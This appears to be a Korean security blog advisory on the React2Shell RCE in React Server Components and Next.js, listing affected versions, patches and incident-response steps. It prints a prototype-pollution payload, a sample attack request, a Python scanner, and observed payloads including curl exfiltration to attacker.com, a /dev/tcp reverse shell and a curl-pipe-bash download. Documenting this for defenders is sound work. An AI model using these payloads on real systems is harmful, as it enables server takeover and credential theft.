문제 상황 (Problem)
2025년 12월 3일, React 생태계에 10.0 CVSS (Critical) 등급의 치명적인 보안 취약점이 공개되었다.
문제는 이것이 코드를 한 줄도 작성하지 않은 기본 Next.js 앱에서도 발생한다는 점이다.
1
2
3
4
5
6
7
| # 취약한 기본 앱 생성
npx create-next-app@latest my-app
cd my-app
npm run build
npm start
# 🚨 이 상태로 배포하면 즉시 공격 가능
|
발표 후 몇 시간 내에 중국 국가 지원 해킹 그룹(Earth Lamia, Jackpot Panda)이 실제 공격을 시작했으며, 현재 CISA KEV(Known Exploited Vulnerabilities) 목록에 등재된 상태다.
CVE-2025-55182란?
기본 정보
| 항목 | 내용 |
|---|
| CVE ID | CVE-2025-55182 |
| 별칭 | React2Shell |
| CVSS 점수 | 10.0 (Critical) |
| 취약점 유형 | Insecure Deserialization → RCE |
| 발견자 | Lachlan Davidson |
| 공개일 | 2025년 12월 3일 |
| 공격 난이도 | 매우 낮음 (HTTP 요청 1번) |
| 인증 필요 | 없음 (Unauthenticated RCE) |
영향 범위
Wiz 조사 결과, 클라우드 환경의 39%에 취약한 Next.js 또는 React 인스턴스가 존재한다.
영향받는 버전 (Affected Versions)
React (react-server-dom)
| 패키지 | 취약한 버전 | 패치된 버전 |
|---|
| react-server-dom-webpack | 19.0.x, 19.1.x, 19.2.x | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-vite | 19.0.x, 19.1.x, 19.2.x | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-esm | 19.0.x, 19.1.x, 19.2.x | 19.0.1, 19.1.2, 19.2.1 |
Next.js
| Next.js 버전 | 상태 | 패치 버전 |
|---|
| 14.x (Stable) | ✅ 안전 | - |
| 14.3.0-canary.77 이상 (Canary) | ❌ 취약 | - |
| 15.0.0 ~ 15.0.4 | ❌ 취약 | 15.0.5+ |
| 15.1.0 ~ 15.1.8 | ❌ 취약 | 15.1.9+ |
| 16.x (모든 버전) | ❌ 취약 | 16.0.1+ |
기타 프레임워크
React Server Components를 지원하는 모든 프레임워크가 영향을 받는다:
- Vite RSC
- Parcel RSC
- React Router RSC
- RedwoodSDK
- Waku
공격 메커니즘 (Attack Mechanism)
취약점의 핵심
React Server Components(RSC)는 서버와 클라이언트 간 데이터 전송을 위해 “Flight” 프로토콜을 사용한다.
문제는 이 프로토콜에서 클라이언트로부터 받은 데이터를 역직렬화(Deserialize)할 때 검증을 하지 않는다는 것이다.
Prototype Pollution 공격
1
2
3
4
5
6
| // ❌ 취약한 역직렬화 과정
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"_prefix": "process.mainModule.require('child_process').execSync('whoami');"
}
|
공격자는 JavaScript의 Prototype Pollution 기법을 이용하여:
__proto__ 속성을 조작process.mainModule.require() 호출child_process.execSync() 실행- 서버에서 임의의 명령 실행
실제 공격 요청
1
2
3
4
5
6
7
8
9
10
11
12
| # 취약한 Next.js 앱 공격 예시
POST /api/react-server HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/json
{
"0": {
"then": "$1:__proto__:then",
"status": "resolved_model",
"_prefix": "process.mainModule.require('child_process').execSync('cat /etc/passwd > /tmp/pwned');"
}
}
|
공격 특징
1
2
3
4
5
| ✅ 인증 불필요 (Unauthenticated)
✅ 기본 설정에서 동작 (Default Configuration)
✅ 성공률 거의 100% (Near 100% Reliability)
✅ Server Actions 사용 안 해도 취약 (RSC만 지원하면 됨)
✅ 단일 HTTP 요청으로 완료
|
실제 공격 사례 (Exploitation in the Wild)
타임라인
1
2
3
4
5
| 2025-12-03 (공개일)
⬇️ 몇 시간 후
2025-12-03 22:00 (UTC)
⬇️ 대규모 스캔 시작
800+ 개 IP 주소에서 공격 시도 감지
|
관찰된 공격 유형
Datadog Security Labs와 AWS Threat Intelligence 팀이 감지한 공격 패턴:
1. 환경 변수 탈취
1
2
3
| # 공격 페이로드 예시
cat /etc/passwd | curl -X POST https://attacker.com/exfil
env | grep -E '(AWS|SECRET|KEY|TOKEN)' > /tmp/creds.txt
|
2. 역쉘(Reverse Shell) 설치
1
2
3
4
5
| # 원격 서버로 쉘 연결
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# 또는 스크립트 다운로드 후 실행
curl https://attacker.com/malware.sh | bash
|
3. 시스템 정보 수집
1
2
3
4
| # OS, 아키텍처, 네트워크 정보 수집
uname -a
ifconfig
ps aux
|
공격 그룹
| 위협 그룹 | 국가 | 활동 시작 |
|---|
| Earth Lamia | 중국 | 2025-12-03 |
| Jackpot Panda | 중국 | 2025-12-03 |
즉시 확인 방법
1. Next.js 버전 확인
1
2
3
4
5
| # package.json 확인
cat package.json | grep next
# 실행 중인 앱 확인
npm list next
|
2. React 버전 확인
1
2
3
4
5
| npm list react react-dom
# 취약 여부 판단
# react 19.0.x ~ 19.2.x → ❌ 취약
# react 19.0.1, 19.1.2, 19.2.1+ → ✅ 안전
|
3. 빠른 취약점 스캔
1
2
3
4
5
| # 1. RSC 엔드포인트 확인
curl -I https://your-app.com
# 2. package-lock.json에서 검색
grep -E "react-server-dom|next" package-lock.json
|
해결 방법 (Mitigation)
즉시 조치: 패키지 업그레이드
Next.js 업그레이드
1
2
3
4
5
6
7
8
9
10
| # 1. Next.js 15.x 사용 중
npm install next@15.0.5
# 또는
npm install next@15.1.9
# 2. Next.js 16.x 사용 중
npm install next@16.0.1
# 3. 재배포 필수
npm run build
|
React 업그레이드
1
2
3
| # React 19.x 사용 중
npm install react@19.2.1 react-dom@19.2.1
npm install react-server-dom-webpack@19.2.1 # 사용 중인 경우
|
package.json 수정 예시
1
2
3
4
5
6
7
| {
"dependencies": {
"next": "^15.1.9",
"react": "^19.2.1",
"react-dom": "^19.2.1"
}
}
|
패치 후 검증
1
2
3
4
5
6
7
8
9
10
| # 1. 의존성 재설치
rm -rf node_modules package-lock.json
npm install
# 2. 빌드 및 배포
npm run build
npm start
# 3. 버전 확인
npm list next react
|
완화(Workaround)가 없는 이유
일부 취약점과 달리, CVE-2025-55182는 완화 방법이 없다.
1
2
3
4
5
6
| ❌ WAF 규칙 추가 (우회 가능)
❌ 특정 엔드포인트 비활성화 (RSC 전체가 영향받음)
❌ 방화벽 설정 (HTTP 요청 자체를 막을 수 없음)
❌ 환경 변수 제거 (시스템 명령 실행 자체가 문제)
✅ 유일한 해결책: 패치된 버전으로 즉시 업그레이드
|
보안 점검 체크리스트
배포 전 확인 사항
1
2
3
4
5
| □ Next.js 버전이 15.0.5+ 또는 15.1.9+ 또는 16.0.1+인가?
□ React 버전이 19.0.1, 19.1.2, 19.2.1+ 인가?
□ package-lock.json이 업데이트되었는가?
□ 프로덕션 빌드가 새 버전으로 되었는가?
□ 모든 환경(dev, staging, prod)에 패치가 적용되었는가?
|
사고 발생 시 대응
1
2
3
4
5
6
7
8
| # 1. 즉시 서버 격리 (네트워크 차단)
# 2. 침해 흔적 확인
grep -r "child_process\|execSync\|require" /var/log/
find /tmp -type f -mtime -1 # 최근 생성된 파일
# 3. 환경 변수 재발급 (AWS, DB 등)
# 4. 접근 로그 분석
tail -f /var/log/nginx/access.log | grep "POST.*react-server"
|
왜 이렇게 빠르게 공격받았는가?
공개 PoC의 위험성
취약점 공개와 동시에 작동하는 PoC(Proof of Concept)가 GitHub에 올라왔다.
1
2
3
| 공개 PoC → 자동화 스크립트 → 대규모 스캔 → 공격
↑
몇 시간 이내
|
공격 자동화
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 공격자가 사용하는 스캔 스크립트 예시 (교육 목적)
import requests
def check_react2shell(target):
payload = {
"0": {
"then": "$1:__proto__:then",
"status": "resolved_model",
"_prefix": "process.mainModule.require('child_process').execSync('id');"
}
}
try:
r = requests.post(f"{target}/api/react-server", json=payload, timeout=5)
# 응답 분석...
except:
pass
# Shodan, Censys에서 Next.js 앱 검색 후 자동 공격
|
핵심 포인트 정리
- 기본 설정이 취약 - 코드 한 줄 안 써도 공격당함.
- 완화 방법 없음 - 패치 업그레이드가 유일한 해결책.
- 인증 불필요 - 외부에서 HTTP 요청만으로 서버 장악 가능.
- 이미 악용 중 - CISA KEV 등재, 국가 지원 해킹 그룹 활동 중.
- 영향 범위 광범위 - RSC 지원하는 모든 프레임워크 영향.
장기적 교훈
1. Deserialization은 위험하다
1
2
3
4
5
6
7
| // ❌ 나쁜 예: 사용자 입력을 그대로 역직렬화
JSON.parse(userInput)
eval(userInput)
// ✅ 좋은 예: 스키마 검증 후 역직렬화
const schema = Joi.object({ name: Joi.string(), age: Joi.number() });
const { error, value } = schema.validate(JSON.parse(userInput));
|
2. 서버 사이드 검증 필수
클라이언트에서 보낸 모든 데이터는 악의적이라고 가정해야 한다.
1
2
3
4
5
| Client Data → Server
↓
[Validation] ← 여기서 반드시 검증
↓
[Deserialization]
|
3. 의존성 업데이트 자동화
1
2
3
4
5
6
7
8
| # Dependabot 설정 (.github/dependabot.yml)
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
|
참고 자료
취약점 분석 및 공식 발표:
마치며
CVE-2025-55182는 2025년 가장 치명적인 웹 프레임워크 취약점 중 하나입니다.
CVSS 10.0, 인증 불필요, 기본 설정 취약, 공개 PoC 존재, 실제 공격 진행 중 등 모든 조건이 최악입니다.
Next.js나 React 19.x를 사용하는 팀이라면 지금 즉시 패치 버전으로 업그레이드하고 재배포해야 합니다. 늦으면 늦을수록 공격받을 확률이 높아집니다.
보안 패치는 “나중에”가 아니라 “지금” 해야 합니다.
도움이 되셨길 바랍니다! 😀